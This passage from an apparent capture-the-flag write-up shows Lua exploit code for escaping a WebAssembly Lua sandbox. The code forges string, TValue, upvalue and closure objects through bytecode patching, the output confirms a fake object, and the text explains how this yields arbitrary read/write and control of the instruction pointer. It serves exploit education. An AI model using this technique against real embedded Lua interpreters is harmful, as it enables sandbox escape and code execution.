class=\"s2\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"se\"\u003e\\x38\\x00\\x00\\x80\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e))\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kr\"\u003efunction\u003c/span\u003e \u003cspan class=\"nf\"\u003eaddr_of\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003evariable\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"kr\"\u003ereturn\u003c/span\u003e \u003cspan class=\"n\"\u003estring.unpack\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;L\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003estring.pack\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;d\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003easnum\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003evariable\u003c/span\u003e\u003cspan class=\"p\"\u003e)))\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kr\"\u003eend\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e-- next + tt/marked/extra/padding/hash + len\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003efakeStr\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eubn\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"mh\"\u003e0x0\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"mi\"\u003e12\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e..\u003c/span\u003e \u003cspan class=\"n\"\u003eubn\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"mh\"\u003e0x1337\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"mi\"\u003e4\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003eprint\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003estring.format\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;Fake str at: 0x%2x\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eaddr_of\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003efakeStr\u003c/span\u003e\u003cspan class=\"p\"\u003e)))\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e-- Value + Type (LUA_VLNGSTRING = 0x54)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003efakeTValue\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eubn\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eaddr_of\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003efakeStr\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e+\u003c/span\u003e \u003cspan class=\"mi\"\u003e16\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"mi\"\u003e8\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e..\u003c/span\u003e \u003cspan class=\"n\"\u003eubn\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"mh\"\u003e0x54\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003eprint\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003estring.format\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;Fake TValue at: 0x%2x\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eaddr_of\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003efakeTValue\u003c/span\u003e\u003cspan class=\"p\"\u003e)))\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e-- next + tt/marked + v\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003efakeUpvals\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eubn\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"mh\"\u003e0x0\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"mi\"\u003e8\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e..\u003c/span\u003e \u003cspan class=\"n\"\u003eubn\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eaddr_of\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003efakeTValue\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e+\u003c/span\u003e \u003cspan class=\"mi\"\u003e16\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"mi\"\u003e8\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003eprint\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003estring.format\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;Fake Upvals at: 0x%2x\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eaddr_of\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003efakeUpvals\u003c/span\u003e\u003cspan class=\"p\"\u003e)))\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e-- upvals\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003efakeClosure\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eubn\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eaddr_of\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003efakeUpvals\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e+\u003c/span\u003e \u003cspan class=\"mi\"\u003e16\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"mi\"\u003e8\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003eprint\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003estring.format\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;Fake Closureat : 0x%2x\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eaddr_of\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003efakeClosure\u003c/span\u003e\u003cspan class=\"p\"\u003e)))\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003ecraft_object\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003estring.dump\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kr\"\u003efunction\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eclosure\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"kd\"\u003elocal\u003c/span\u003e \u003cspan class=\"n\"\u003efoo\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"kd\"\u003elocal\u003c/span\u003e \u003cspan class=\"n\"\u003ebar\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"kd\"\u003elocal\u003c/span\u003e \u003cspan class=\"n\"\u003etarget\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"kr\"\u003ereturn\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kr\"\u003efunction\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eclosure\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e      \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kr\"\u003efunction\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eclosure\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"n\"\u003eprint\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003efoo\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"n\"\u003eprint\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ebar\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"n\"\u003eprint\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003etarget\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"n\"\u003etarget\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eclosure\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e      \u003cspan class=\"kr\"\u003eend\u003c/span\u003e\u003cspan class=\"p\"\u003e)(\u003c/span\u003e\u003cspan class=\"n\"\u003eclosure\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e      \u003cspan class=\"kr\"\u003ereturn\u003c/span\u003e \u003cspan class=\"n\"\u003e_ENV\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"kr\"\u003eend\u003c/span\u003e\u003cspan class=\"p\"\u003e)(\u003c/span\u003e\u003cspan class=\"n\"\u003eclosure\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e \u003cspan class=\"mi\"\u003e1337\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kr\"\u003eend\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003ecraft_object\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003ecraft_object\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"n\"\u003egsub\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;(\u003c/span\u003e\u003cspan class=\"se\"\u003e\\x01\\x01\\x00\\x01\\x02\\x00\\x01\u003c/span\u003e\u003cspan class=\"s2\"\u003e)\u003c/span\u003e\u003cspan class=\"se\"\u003e\\x03\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;%1\u003c/span\u003e\u003cspan class=\"se\"\u003e\\x04\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003ecraft_object\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eload\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ecraft_object\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003ecrafted\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003ecraft_object\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003efakeClosure\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003eprint\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003estring.format\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;Crafted string length is %x\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"o\"\u003e#\u003c/span\u003e\u003cspan class=\"n\"\u003ecrafted\u003c/span\u003e\u003cspan class=\"p\"\u003e))\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\n\u003c/div\u003e\n\u003c/div\u003e\u003cblockquote\u003e\n\u003cp\u003eNote: as you can see, in the outer closure, I am returning the faked object by\nreturning the _ENV variable. This is the first upvalue of the closure, pushed\nautomatically by the interpreter for internal reasons. This way,\nI am instructing the interpreter to return \u003cstrong\u003ethe first upvalue\u003c/strong\u003e\nin the upvalues array, which points to our crafted UpValue.\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003eThe output of the script confirms that our object finally has citizenship:\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003eFake str at: 0x10bd60\nFake TValue at: 0x112c48\nFake Upvals at: 0x109118\nFake Closureat : 0x109298\nnil\nnil\nLClosure: 0x10a280\nCrafted string length is 1337 \u0026lt;--- WE PICKED THIS LENGTH!\n\u003c/code\u003e\u003c/pre\u003e\u003ch2 id=\"escape-from-alcawasm\"\u003eEscape from Alcawasm\u003c/h2\u003e\n\u003cp\u003eIn the linked blogpost, the author describes well the \u0026ldquo;superpowers\u0026rdquo;\nthat exploit developers gain by being able to craft fake objects.\u003c/p\u003e\n\u003cp\u003eAmong these, we have:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eArbitrary read\u003c/li\u003e\n\u003cli\u003eArbitrary write\u003c/li\u003e\n\u003cli\u003eControl over the Instruction Pointer\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eIn this last section, I\u0026rsquo;ll explain why the latter is everything we\nneed to complete the challenge.\u003c/p\u003e\n\u003cp\u003eTo understand how, it\u0026rsquo;s time to go back to the information gathering.\u003c/p\u003e\n\u003ch3 id=\"more-information-gathering\"\u003e(More) Information Gathering\u003c/h3\u003e\n\u003cp\u003eThe description of the challenge hints that, in the WASM context,\nthere is some kind of \u0026ldquo;win\u0026rdquo; function that cannot be invoked\ndirectly via Lua, and that\u0026rsquo;s the target of our exploit.\u003c/p\u003e\n\u003cp\u003eInspecting the JS code that instantiates the WASM assembly\ngives some more clarity on this:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cdiv class=\"chroma\"\u003e\n\u003ctable class=\"lntable\"\u003e\u003ctr\u003e\u003ctd class=\"lntd\"\u003e\n\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode\u003e\u003cspan class=\"lnt\"\u003e 1\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 2\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 3\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 4\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 5\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 6\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 7\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 8\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 9\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e10\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e11\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e12\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e13\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e14\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e15\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e16\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e17\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e18\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e19\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e20\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e21\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e22\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e23\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e24\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e25\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e26\n\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\n\u003ctd class=\"lntd\"\u003e\n\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-javascript\" data-lang=\"javascript\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"nx\"\u003ea\u003c/span\u003e \u003cspan class=\"o\"\u003e||\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003en\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eglobal\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003elua\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003emodule\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eaddFunction\u003c/span\u003e\u003cspan class=\"p\"\u003e((\u003c/span\u003e\u003cspan class=\"nx\"\u003ee\u003c/span\u003e \u003cspan class=\"p\"\u003e=\u0026gt;\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e      \u003cspan class=\"kr\"\u003econst\u003c/span\u003e \u003cspan class=\"nx\"\u003et\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nx\"\u003en\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eglobal\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003elua\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003elua_gettop\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003ee\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nx\"\u003er\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"p\"\u003e[];\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e      \u003cspan class=\"k\"\u003efor\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kd\"\u003elet\u003c/span\u003e \u003cspan class=\"nx\"\u003ea\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"nx\"\u003ea\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;=\u003c/span\u003e \u003cspan class=\"nx\"\u003et\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"nx\"\u003ea\u003c/span\u003e\u003cspan class=\"o\"\u003e++\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e          \u003cspan class=\"k\"\u003eswitch\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003en\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eglobal\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003elua\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003elua_type\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003ee\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nx\"\u003ea\u003c/span\u003e\u003cspan class=\"p\"\u003e))\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e          \u003cspan class=\"k\"\u003ecase\u003c/span\u003e \u003cspan class=\"mi\"\u003e4\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e              \u003cspan class=\"nx\"\u003er\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003epush\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003en\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eglobal\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003elua\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003elua_tolstring\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003ee\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nx\"\u003ea\u003c/span\u003e\u003cspan class=\"p\"\u003e));\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e              \u003cspan class=\"k\"\u003ebreak\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e          \u003cspan class=\"k\"\u003ecase\u003c/span\u003e \u003cspan class=\"mi\"\u003e3\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e              \u003cspan class=\"nx\"\u003er\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003epush\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003en\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eglobal\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003elua\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003elua_tonumberx\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003ee\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nx\"\u003ea\u003c/span\u003e\u003cspan class=\"p\"\u003e));\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e              \u003cspan 